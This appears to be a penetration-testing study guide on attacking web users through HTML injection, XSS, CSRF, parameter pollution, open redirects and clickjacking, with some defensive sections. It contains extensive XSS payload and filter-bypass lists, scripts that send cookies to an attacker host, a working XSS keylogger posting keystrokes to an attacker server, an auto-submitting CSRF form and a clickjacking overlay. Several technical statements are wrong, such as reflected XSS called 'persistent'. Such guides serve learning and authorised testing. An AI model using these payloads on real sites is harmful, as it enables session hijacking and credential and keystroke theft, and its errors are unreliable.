**Attacking Users**

* **Html injection**
* **Cross site scripting**
* **Cross site request forgery**
* **HTTP parameter injection**
  + **Http parameter pollution**
  + **Open Redirect**
* **Click jacking**

**----------------------------------------------------------------------------------------**

* **HTML injection**
  + low: <h1>hi</h1>
  + medium: %3c%48%31%3e%46%6c%61%67%78%3c%2f%48%31%3e
    - (url encoded)
* **Cross site scripting (XSS)**

cross site scripting is called xss instead of css to not make a conflict between it and the cascade style sheet css

* **XSS Types :**
  + **reflected XSS**
    - also known as persistent or First-order XSS when the web app takes user input and inserting it back into the html of the server’s response without being filtered or sanitized
    - not stored in server database you must send the affected link to hack the victim
  + **stored XSS**
    - Also known as persistent or second-order XSS most dangerous because data supplied by the use are stored in the database of the server and then displayed to other users without being filtered or sanitized.
      * if you open the website from anywhere you will be affected
  + **Dom based XSS**
    - Java script can access the browser’s Document object model (DOM ) so , it Arises when an application contains some client-side JavaScript that processes data from an untrusted source in an unsafe way, usually by writing the data back to the DOM or update the page’s content (write into the page’s HTML source code ). EX :
      * var search = document.getElementById('search').value;
      * var results = document.getElementById('results');
      * results.innerHTML = 'You searched for: ' + search;

## **What is CSP (content security policy)?**

* + CSP is a browser security mechanism that aims to mitigate [XSS](https://portswigger.net/web-security/cross-site-scripting) and some other attacks. It works by restricting the resources (such as scripts and images) that a page can load and restricting whether a page can be framed by other pages.
  + To enable CSP, a response needs to include an HTTP response header called Content-Security-Policy with a value containing the policy. The policy itself consists of one or more directives, separated by semicolons.
* **Identify XSS vulnerability** 
  + search for input fields that print result back on the webpage
    - Test every entry point (for example: URL query parameters, POST parameters, User-Agent, Cookies).
  + Submit random alphanumeric values (for example: 42424242).
  + Determine the reflection context.
  + Inject your payload with every parameter found
* **XSS can be used to** 
  + Session hijacking (stealing cookies)
  + keyloggers
  + deface a website
  + content injection
    - * Ex : <iframe src=”http://192.168.1.5” height=”0” width=”0”></iframe>
  + Capture browser history
  + BeEF

## **Payloads**

## **XSS in HTML tag**

* + - <script>alert(document.cookie)</script>

## **XSS in HTML tag attributes**

* + - " autofocus onfocus=alert(document.cookie) x="
    - "><script>alert(document.cookie)</script>

## **XSS in JavaScript tag**

* + - it is possible to simply close the script tag that is enclosing the existing JavaScript, and introduce some new HTML tags that will trigger execution of JavaScript. For example, if the XSS context is as follows:
    - <script>  
      ...  
      var input = 'controllable data here';  
      ...  
      </script>
    - then you can use the following payload to break out of the existing JavaScript and execute your own:
    - </script><img src=1 onerror=alert(document.cookie)>
    - **Or** you can use the following payload to execute JavaScript without terminating the template literal:
    - ${alert(documentcookie)}
  + Basic payload
    - <script>alert('XSS')</script>
    - <scr<script>ipt>alert('XSS')</scr<script>ipt>
    - "><script>alert('XSS')</script>
    - "><script>alert(String.fromCharCode(88,83,83))</script>
    - <body ontouchstart=alert(1)> // Triggers when a finger touch the screen
    - <body ontouchend=alert(1)>   // Triggers when a finger is removed from touch screen
    - <body ontouchmove=alert(1)>  // When a finger is dragged across the screen.
  + Img payload
    - <img src=x onerror=alert('XSS');>
    - <img src=x onerror=alert('XSS')//
    - <img src=x onerror=alert(String.fromCharCode(88,83,83));>
    - <img src=x oneonerrorrror=alert(String.fromCharCode(88,83,83));>
    - <img src=x:alert(alt) onerror=eval(src) alt=xss>
    - "><img src=x onerror=alert('XSS');>
    - "><img src=x onerror=alert(String.fromCharCode(88,83,83));>
  + Svg payload
    - <svg onload=alert(1)>
    - <svg/onload=alert('XSS')>
    - <svg onload=alert(1)//
    - <svg/onload=alert(String.fromCharCode(88,83,83))>
    - <svg id=alert(1) onload=eval(id)>
    - "><svg/onload=alert(String.fromCharCode(88,83,83))>
    - "><svg/onload=alert(/XSS/)
    - <svg><script href=data:,alert(1) />(`Firefox` is the only browser which allows self closing script)
  + Div payload
    - <div onpointerover="alert(45)">MOVE HERE</div>
    - <div onpointerdown="alert(45)">MOVE HERE</div>
    - <div onpointerenter="alert(45)">MOVE HERE</div>
    - <div onpointerleave="alert(45)">MOVE HERE</div>
    - <div onpointermove="alert(45)">MOVE HERE</div>
    - <div onpointerout="alert(45)">MOVE HERE</div>
    - <div onpointerup="alert(45)">MOVE HERE</div>
  + XSS using HTML5 tags
    - <body onload=alert(/XSS/.source)>
    - <input autofocus onfocus=alert(1)>
    - <select autofocus onfocus=alert(1)>
    - <textarea autofocus onfocus=alert(1)>
    - <keygen autofocus onfocus=alert(1)>
    - <video/poster/onerror=alert(1)>
    - <video><source onerror="javascript:alert(1)">
    - <video src=\_ onloadstart="alert(1)">
    - <details/open/ontoggle="alert`1`">
    - <audio src onloadstart=alert(1)>
    - <marquee onstart=alert(1)>
    - <meter value=2 min=0 max=10 onmouseover=alert(1)>2 out of 10</meter>
  + **Common XSS Payloads** 
    - <https://www.blackhat.com/presentations/bh-usa-09/VELANAVA/BHUSA09-VelaNava-FavoriteXSS-SLIDES.pdf>
    - <https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt?fbclid=IwAR2WRtstYoVdv8mU6mok4q_BYh3oDUQM_Qry216_4__cX2ErWEE7O1kWcDQ>
* **Filter Bypass**
  + Bypass Signature Based defense
  + Bypass Sanitizing or encoding
  + Bypass Fixed max lenght
  + level1 <script>alert(!)</script>
  + level2 <sCRipt>alert(!)</sCRipt>
    - <sC<script>Ript>alert(!)</sC</script>Ript>
    - <%00sCRipt>alert(!)</sCRipt>
    - <SCR<script>IPT>alert(document.cookie)</SCR<script>IPT>
      * //if pregreplace on script
    - <%00SCRIPT>alert(document.cookie)</SCRIPT>
      * //if pregmatch on script
      * //add null byte anywhere at the payload
  + high: <img src=”s” onerror=’alert(document.cookie)’ />
    - <img src=''d " onerror='%00alert(11)' />
* **NOTES:** 
  + Internet explorer contain built-in mechanism design to protect against reflect XSS
  + if there is a filtration used we can decode our payload as a url encoding and we can double encode it send the link URL encoded to the victim or shorten the link goo.gl always encode our script to bypass WAP some web app firewalls stop these payloads from reaching the website and it will be decoded automatically when reached destination site
  + Testing XSS in uploaded files that can be viewed by other users
  + Delivery methods of Reflected and DOM XSS
    - BY sending URL
    - BY Sending a well formed email
    - By using a third party websites
  + we can use XSS to redirect to our pc and make a reverse connection
    - nc -nlvp 80 //make a listhener |or with armitage or metasploit
    - <script>window.location='192.168.1.2';</script>
    - send link to target
  + Form parameters sent by the POST or GET methods are not the only ones used for XSS attacks. Header values such as User-Agent, Cookie, Host, referrer and any other header whose information is reflected to the client are also vulnerable and susceptible to XSS attacks, even though the OPTIONS or TRACE methods. As penetration testers, you need to test completely all components of the request that are processed by the server and reflected back to the user.
  + Both GET and POST requests needs to be tested when sending payloads , sometimes when you change the request method the payloads works (that’s because the developer didn’t specify the request method and uses the $\_REQUEST[] instead of using $\_GET[] or $\_POST[])
* **Exploiting XSS** 
  + **Session hijacking (stealing cookies)**
    - nc -nlvp 80 //make a listhener
    - <script>new image().src='myip?ayhaga.php?data='+document.cookie</script>
    - Or <script>document.location="www.hackersite.com"+document.cookie</script> //send cookies to the hacker site
    - send link to target
  + **Website defacing Using XSS**:
    - to deface a website (change its visual appearance by injecting HTML markup into the site) is not a very common attack. Can be usefull with stored xss
    - Ex :<img src=x onerror="document.body.innerHTML='<h1>Defaced with XSS</h1>'">
  + **keyllogers with XSS :**
    - Key loggers another way to take advantage of XSS's ability to gather users' sensitive information is by turning the browser into a key logger that captures every keystroke and sends it to a server controlled by the attacker. These keystrokes may include sensitive information that the user enters in the page, such as names, addresses, passwords, secret questions and responses, credit card information, and other types, depending on the purpose of the vulnerable page. We will use the Apache web server, which is preinstalled in Kali Linux, in order to store the keystrokes in a file so that we can check the keys sent by the vulnerable application once we exploit the XSS. The server will have two files: klog.php and klog.js.
    - This is how the klog.php file will look:
      * <?php if(!empty($\_GET['k'])) {
      * $file = fopen('keys.txt', 'a');
      * fwrite($file, $\_GET['k']);
      * fclose($file); } ?>
      * This is how the klog.js file will look:
      * var buffer = [];
      * var server = 'http://10.7.7.4/klog.php?k=' document.onkeypress = function(e) { buffer.push(e.key); }
      * window.setInterval(function() {
      * if (buffer.length > 0) {
      * var data = encodeURIComponent(buffer);
      * new Image().src = server + data;
      * buffer = []; } }, 200)
* **Blind xss**
  + Blind xss are a variant of stored XSS vulnerabilities**. Blind XSS is a special type of stored XSS in which the data retrieval point is not accessible by the attacker** , They occur when  the attacker’s input is saved by the server and is reflected in the developer’s application. Basically, the attacker’s payload is executed on the application used by team members or admins.
  + For example, an attacker injects a malicious payload into a contact/feedback page and when the administrator of the application is reviewing the feedback entries the attacker’s payload will be loaded. The attacker input can be executed in a completely different application (for example an internal application where the administrator reviews the access logs or the application exceptions).
  + **How to find blind xss** 
    - The most common target of Blind XSS is obviously any web page that gets user input and saves it somewhere for later viewing (by others)
    - **Example of web applications and web pages where blind XSS attacks can occur:**
      * Contact forms /Feedback pages
      * Log viewers
      * Exception handlers
      * Chat applications / forums
      * Customer ticket applications
      * Web Application Firewalls
      * Any application that requires user moderation
      * Referer Header
        + Custom Site Analytics
        + Administrative Panel logs
      * User Agent
        + Custom Site Analytics
        + Administrative Panel logs
      * Comment Box
        + Administrative Panel
    - These types of vulnerabilities are much harder to detect compared to other reflected XSS vulnerabilities where the input is reflected immediately. In the case of blind XSS, the attacker’s input can be saved by the server and only executed after a long period of time when the administrator visits the vulnerable dashboard page. It can take hours, days, or even weeks until the payload is executed. Therefore, this type of vulnerabilities in web applications cannot be tested as other types of XSS vulnerabilities and they pose a challenge for web security (web application security), penetration testing, and security testing in general. the XSS hunter (Web version) to find out the Blind XSS.
    - **Exploit blind xss steps**
      * Step 1 :
        + generally replace my User-Agent [Mozilla/5.0 (X11; Linux i586; rv:31.0) Gecko/20100101 Firefox/31.0] with my script [“><script src=[https://r0x4r.xss.ht](https://r0x4r.xss.ht/)></script>]. Use the User-Agent Switcher extension in Firefox to change or manipulate your user-agent. Or burp suite
        + We also inject our payload in Referred/Origin Header or in cookies value.
      * Step 2

When the response is intercepted, you will see in “Raw” request, that the Referer: “><script src=[https://r0x4r.xss.ht](https://r0x4r.xss.ht/)></script> has been replaced! In every request

* + - * Step 3
        + After some time, when go back to XSSHunter, it showed that a blind XSS had been executed.
    - **Tools :**
      * Burp Collaborator, KnoXSS, bXSS Hunter
      * XSShunter:
        + XSS Hunter is a recently launched platform that makes pen testing for XSS vulnerabilities much easier to monitor and organize. Through it you can launch all kinds of XSS attacks, but where it really shines is when carrying out a Blind XSS attack.
* **self-xss** 
  + self-xss is a form of cross-site scripting (xss) that appears to only function on the user’s account itself and typically requires the user to insert the JavaScript into their own account. This isn’t all that useful to an attacker since the goal is to get the xss to execute on other users of the application. A classic example of self-xss is having an xss vulnerability on the user’s account profile page that can only be viewed by the user
* **Preventing XSS**
  + X-XSS-Protection header
  + Validate input
  + Validate output
  + Restrict and limit user input in dangerous places in a web site
  + Limit HTML input
* **TOOLS:**
  + **XSSer Cross Site "Scripter" (XSSer):**
    - is an automatic framework designed to detect, exploit, and report XSS vulnerabilities in web-based applications. It is included in Kali Linux. XSSer can detect persistent, reflected, and DOM-based XSS, scan an indicated URL or search Google for potential targets based on a given query, authenticate through different mechanisms, and perform many other tasks.
    - xsser -u http://10.7.7.5/bodgeit/search.jsp -g ?q=
    - Here, XSSer is running over the URL indicated by the -u parameter and scanning using the GET method and the q (-g ?q=) parameter. This means that the scanner will append its payloads to the string specified after -g, and the result of that will be appended to the URL, as it is using GET.
    - xsser –gtk //GUI
  + **XSS-Sniper:**
    - XSS-Sniper can be downloaded from its GitHub repository:
    - git clone https://github.com/gbrindisi/xsssniper.git To run a basic scan over a GET request, use only the -u parameter followed by the full URL including a test value:
    - python xsssniper.py -u <http://10.7.7.5/bodgeit/search.jsp?q=test>
  + **BEEF:**
    - browser exploitation framework like metasploit but for web browser only
    - http://<my ip>:3000/ui/authentication we send this address to the victim and when he open it we will see on BeEF
  + **Cross site request forgery (CSRF)**
    - **Definition** 
      * Cross-Site Request Forgery (CSRF/XSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated that they do not intend to perform. It allows an attacker to partly circumvent the same origin policy, which is designed to prevent different websites from interfering with each other actions that attackers can perform through a CSRF attack
      * same origin policy doesn’t prevent csrf attack because SOP only prevents reading the response from different domain not sending a request and in csrf we only need to send a request to exploit this vulnerability
      * Since CSRF leverages an authenticated session, the victim must have an active authenticated session in the target web application. The application should also allow transactions within a session without asking for re-authentication
      * not all input can have this vulnerability it must make action in the site ex: we won’t found a csrf in search bar because any user can search but no one can change a pass of another user
    - **Exploitation examples**
      * you first need to **find a relevant action to abuse** (change password or email, make the victim follow you on a social network, give you more privileges...).
      * For example, suppose an application contains a function that lets the user change the email address on their account. When a user performs this action, they make an HTTP request like the following:
        + POST /email/change HTTP/1.1
        + Host: vulnerable-website.com
        + Content-Type: application/x-www-form-urlencoded
        + Content-Length: 30
        + Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE
        + email=wiener@normal-user.com
      * First step the attacker constructs a web page manually containing the following HTML
        + <html> <body>
        + <form action="https://vulnerable-website.com/email/change" method="POST">
        + <input type="hidden" name="email" value="pwned@evil-user.net" />
        + </form>
        + <script>
        + document.forms[0].submit();
        + </script></body> </html>
      * Or we could use burp suite in this step
        + burp suite -> right click on the request that may be vulnerable-> engagement tools -> generates csrf poc
      * Then send that page by a link to the victim and when he will click on the link
        + The attacker's page will trigger an HTTP request to the vulnerable web site.
        + If the user is logged in to the vulnerable web site, their browser will automatically include their session cookie in the request.
        + The vulnerable web site will process the request in the normal way, treat it as having been made by the victim user, and change their email address
    - **Tools**
      * XSRFProbe
        + [The Prime Cross Site Request Forgery Audit and Exploitation Toolkit.](https://github.com/0xInfection/XSRFProbe)
    - **Bypass defenses** 
      * Validation of CSRF token depends on request method.
        + Try to change the request method for example: from POST to GET.
      * Validation of CSRF token depends on token being present
        + Some applications correctly **validate the token when it is present but skip the validation if the token is omitted.** In this situation, the attacker can **remove the entire parameter** containing the token (not just its value) to bypass the validation and deliver a CSRF attack
      * CSRF token is not tied to the user session
        + Some applications do **not validate that the token belongs to the same session** as the user who is making the request. Instead, the application **maintains a global pool of tokens** that it has issued and accepts any token that appears in this pool. In this situation, the attacker can log in to the application using their own account, **obtain a valid token**, and then **feed that token to the victim** user in their CSRF attack Generate token key with your profile then send it to the victim.
      * Method bypass
        + If the request is using a "weird" method, check if the method override functionality is working.

For example, if it's using a PUT method you can try to use a POST method and send: https://example.com/my/dear/api/val/num?\_method=PUT

* + - * + This could also works sending the \_method parameter inside the a POST request or using the headers:

X-HTTP-Method

X-HTTP-Method-Override

X-Method-Override

* + - * Custom header token bypass
        + If the request is adding a custom header with a token to the request as CSRF protection method, then:

Test the request without the Customized Token and also header.

Test the request with exact same length but different token.

* + - * Referrer / Origin check bypass
        + Avoid Referrer header , Some applications validate the Referer header when it is present in requests but skip the validation if the header is omitted.
    - **Preventing CSRF**
      * Use a CSRF token in each session. This token has to be send inside the request to confirm the action. This token could be protected with CORS.
        + The token must be not predictable
        + The token must not be static
        + Tied to the user's session.
        + Ex : csrf=WfF1szMUHhiokx9AHFply5L2xAOfjRkE&email=wiener@normal-user.com
      * we can check for the referrer header
      * SameSite cookies: If the session cookie is using this flag, you may not be able to send the cookie from arbitrary web sites.
      * Cross-origin resource sharing: Depending on which kind of HTTP request you need to perform to abuse the relevant action, you may take int account the CORS policy of the victim site. Note that the CORS policy won't affect if you just want to send a GET request or a POST request from a form and you don't need to read the response.
      * Ask for the password user to authorise the action.
      * Resolve a captcha
  + **Http parameter injections**
    - **Http parameter pollution:**
      * **transfer data using the HTTP protocol can be done in various ways, such as:**
        + Within the URI – using the GET parameters
        + Within the request body – using the POST  parameter
        + In the HTTP headers – using the COOKIE header
      * A website is vulnerable to http parameter pollution  when parameter values (the portion of URL after "?") in an HTTP GET  can be changed or add new parameters .  it can be used to sql injection or xss also used to bypass waf
      * HTTP allows the submission of the same parameter more than once. The manipulation of the value of each parameter depends on how each web technology is parsing these parameters. So, what happens if the same parameter is provided more than one time?
      * Some web technologies take value other take the last value of the parameter, some concatenate all the inputs and others will create an array of parameters.
      * Ex : GET /somePage.jsp?name=value1& name=value2
      * Imagine a scenario where a Tomcat server is behind Web Application Firewall (WAF) whose code is based on Apache and PHP, and an attacker sends the following parameter list in a request:
        + item\_id=num1'+or+'1'='1&second\_parameter=3&item\_id=num2
      * WAF will take the last occurrence of the parameter and determine that it is a legitimate value, while the web server will take the first one, and, if the application is vulnerable to SQL injection, the attack will succeed,
      * **bypassing the protection provided by WAF**
        + ex :  par=one&para=two   try url encoding of &     try double url encoding of  &
        + ex : par=one;para=two     try url encoding of ;     try double url encoding of ;
    - **Open Redirect (http redirection/unvalidated redirect and forward):**
    - A redirect is a situation when your website or web application causes the user’s browser to open another URL (external). A forward is a situation when instead of an external URL, your website or web application causes the browser to go to different parts of the site. Redirects and forwards are technically identical, the only difference is the type of destination: external URLs vs. internal pages.
    - this type of vulnerability, the attacker uses to manipulate the URL and send it to the victim. As soon as the victim opens the URL, the website redirects it to a malicious website or website to which the attacker wants the user to get redirected.
      * **there are 3 ways for redirections:**
        + HTML redirection

<meta http-equiv="refresh" content="0; URL='[http://new-website.com](http://new-website.com/)'" />

* + - * + javascript redirction:

window.location = "[http://new-](http://new-/)[website.com";](http://website.com/)

window.location.href = "[http://new-](http://new-/)[website.com";](http://website.com/)

window.location.assign("[http://new-](http://new-/)[website.com");](http://website.com/)

window.location.replace("[http://new-](http://new-/)[website.com");](http://website.com/)

* + - * + PHP redirection :

<?php  header('Location: [http://www.new-](http://www.new-/)website.com');  exit; ?>

* + - * A website is vulnerable to Open Redirect when parameter values (the portion of URL after "?") in an HTTP GET request allow for information that will redirect a user to a new website without any validation of the target of redirect then you take the injected link and send it to the victim you can url encode your injected website to not be suspicious you can use it to connect to your machine, ..etc
      * An example of a vulnerable website link could look something like this:
        + [https://www.example.com/login.html?RelayState=http%3A%2F%2Fexample.com%2Fnext](https://www.example.com/login.html?RelayState=http://example.com/next)
      * open redirect can be used to  make xss if  its a javascript redirection ex:
        + <https://www.example.com/login.html?page=javascript:alert(document.cookies)>
* Resources
  + <https://www.acunetix.com/blog/web-security-zone/unvalidated-redirects-and-forwards/>
  + <https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html>
  + <https://www.geeksforgeeks.org/unvalidated-redirects-and-forwards/>
  + **Click Jacking**
    - **Definition**
      * Clickjacking is an attack that tricks a user into clicking a webpage element which is invisible or disguised as another element. This can cause users to unwittingly download malware, visit malicious web pages, provide credentials or sensitive information, transfer money, or purchase products online.
      * Typically, clickjacking is performed by displaying an invisible page or HTML element, inside an iframe, on top of the page the user sees. The user believes they are clicking the visible page but in fact they are clicking an invisible element in the additional page transposed on top of it.
      * The invisible page could be a malicious page, or a legitimate page the user did not intend to visit
      * Scenario Example
        + A visitor is lured to the evil page. It doesn’t matter how.
        + The page has a harmless-looking link on it (like “get rich now” or “click here, very funny”).
        + Over that link the evil page positions a transparent <iframe> with src from [facebook.com](http://facebook.com), in such a way that the “Like” button is right above that link. Usually that’s done with z-index
        + In attempting to click the link, the visitor in fact clicks the button.
      * depend on iframes
    - **Attack example**
      * Clickjacking attacks use CSS to create and manipulate layers. The attacker incorporates the target website as an iframe layer overlaid on the decoy website. An example using the style tag and parameters is as follows:
      * <head>  
          <style>  
            #target\_website {  
              position:relative;  
              width:128px;  
              height:128px;  
              opacity:0.00001;  
              z-index:2;  
              }  
            #decoy\_website {  
              position:absolute;  
              width:300px;  
              height:400px;  
              z-index:1;  
              }  
          </style>  
        </head>  
        ...  
        <body>  
          <div id="decoy\_website">  
          ...decoy web content here...  
          </div>  
          <iframe id="target\_website" src="https://vulnerable-website.com">  
          </iframe>  
        </body>
      * The target website iframe is positioned within the browser so that there is a precise overlap of the target action with the decoy website using appropriate width and height position values. Absolute and relative position values are used to ensure that the target website accurately overlaps the decoy regardless of screen size, browser type and platform. The z-index determines the stacking order of the iframe and website layers. The opacity value is defined as 0.0 (or close to 0.0) so that the iframe content is transparent to the user. Browser clickjacking protection might apply threshold-based iframe transparency detection (for example, Chrome version 76 includes this behavior but Firefox does not). The attacker selects opacity values so that the desired effect is achieved without triggering protection behavior
    - **Types of Clickjacking Attacks**
      * Clickjacking is not one specific attack, but a broad family of attack vectors and techniques, broadly termed UI redress attacks. Attacks can be divided into two general categories, based on the use of overlaid content. Overlay-based attacks are by far the most popular, and embedding pages in invisible iframes is the most common technical approach here. Again, there are several main categories of overlay-based clickjacking:
      * **Complete transparent overlay**: This is the method used in our example above, where a transparent legitimate page (here called a tool page) is overlaid over a carefully crafted malicious page. The tool page is loaded into an invisible iframe and positioned above the visible page by setting a higher z-index value. One of the first high-profile clickjacking attacks used this method against the Adobe Flash plug-in settings page to trick users into giving Flash animations access to the computer’s camera and microphone.
      * **Cropping:** For this attack, the attacker overlays only selected controls from the transparent page on the visible page. Depending on the aim of the attack, this could mean covering buttons with invisible hyperlinks to trigger a different action than expected, covering text labels with misleading instructions, replacing button labels with false commands, or covering up the entire legitimate page with misleading content, leaving only one original button exposed.
      * **Hidden overlay:** This was the first demonstrated approach to clickjacking. The attacker creates a 1x1 pixel iframe containing malicious content and positions it under the mouse cursor, so it’s hidden by the cursor but any click will register on the malicious page.
      * **Click event dropping**: The legitimate page is displayed in the foreground, completely obscuring the malicious page behind it. The attacker sets the CSS pointer-events property of the top to none, causing click events to “drop” through the overlaid legitimate page, only registering on the malicious page below.
      * **Rapid content replacement**: Opaque overlays are used to cover up the targeted controls, only removed for a fraction of a second to register the click, and immediately replaced. This requires the attacker to predict the exact moment of the victim’s click, but with a little knowledge of computer user habits and psychology, it’s easier than it sounds.
      * Even without exploiting clickjacking vulnerabilities to insert overlays, attackers have many options for tricking users into clicking unexpected controls:
      * **Scrolling**: The attacker partially scrolls a legitimate dialog box or other web page element off the screen, so the user only sees some of the controls. For example, a warning dialog might be scrolled off the screen so that only the OK and Cancel buttons are visible, with the attacker positioning an innocuous prompt text so it looks like the buttons apply to this message, and not a warning.
      * **Repositioning**: This attack requires the attacker to rapidly move a trusted dialog (or another UI element) under the cursor while the user is focused on clicking some other, innocent-looking items. If this works, the user will instinctively click the substituted control before they realize that something has changed. As with rapid content replacement, the attacker may quickly move the dialog back after the click to avoid detection.
      * **Drag-and-drop:** While most clickjacking attacks explicitly focus on intercepting clicks, drag-and-drop vulnerabilities can be exploited to trick the user into performing a variety of other actions, such as completing web forms by dragging invisible text into invisible text boxes or revealing sensitive personal information to the attacker.
      * ...and many others: The dynamic interactions between the user and web page elements made possible by combining JavaScript, DOM, and CSS offer innumerable options for tricking users into performing unexpected actions. Because clickjacking attacks exploit the user’s trust in the displayed content and controls, they can be hard to detect automatically, and new attacks will continue to appear.
    - **Prevent Click Jacking**
      * **Client side method**
        + Framebusting or framebreaking: Before support for new HTTP headers became widespread, website developers were on their own and had to deploy special framebuster (or framekiller) scripts to prevent their pages from being framed. The first framebusting scripts simply checked top.location to make sure this was the current page – if not, top.location was set to self. However, these scripts could easily be blocked from the outer frame or otherwise bypassed, and more elaborate solutions were developed. Even so, numerous ways of bypassing even the most elaborate framebreakers exist, and such scripts should only be used to provide rudimentary protection for legacy browsers. The approach currently recommended by OWASP is to hide the entire body of the HTML document and only show it after verifying that the page is not framed.
        + Ex of script

<style id="antiClickjack">body{display:none !important;}</style>

<script type="text/javascript">

if (self === top) {

var antiClickjack = document.getElementById("antiClickjack");

antiClickjack.parentNode.removeChild(antiClickjack);

} else {

top.location = self.location; }

</script>

* + - * **Server side method**
        + **X-Frames**

The X-Frame-Options response header is passed as part of the HTTP response of a web page, indicating whether or not a browser should be allowed to render a page inside a <FRAME> or <IFRAME> tag.

There are three values allowed for the X-Frame-Options header:

**DENY** – does not allow any domain to display this page within a frame

**SAMEORIGIN** – allows the current page to be displayed in a frame on another page, but only within the current domain

**ALLOW-FROM URI** – allows the current page to be displayed in a frame, but only in a specific URI – for example [*www.example.com/frame-page*](http://www.example.com/frame-page)

* + - * + **CSP**

(CSP) was initially developed to protect against XSS and other data injection attacks. However, it also provides a frame-ancestors directive for specifying sources that are permitted to embed a page (in a <frame>, <iframe>, <object>, <embed>, or <applet> element). The syntax is simple:

Content-Security-Policy: frame-ancestors <source1> <source2> ... <sourceN>;

You can specify any number of sources, and supported source values include host IPs or addresses, scheme types, 'self' to specify the current document’s origin, and 'none' to disallow all embedding. This gives you a lot of flexibility for defining sources, especially in complex deployments, but for basic protection, the last two options are usually sufficient: frame-ancestors 'self' is equivalent to XFO’s sameorigin directive, while frame-ancestors 'none' corresponds to deny in XFO.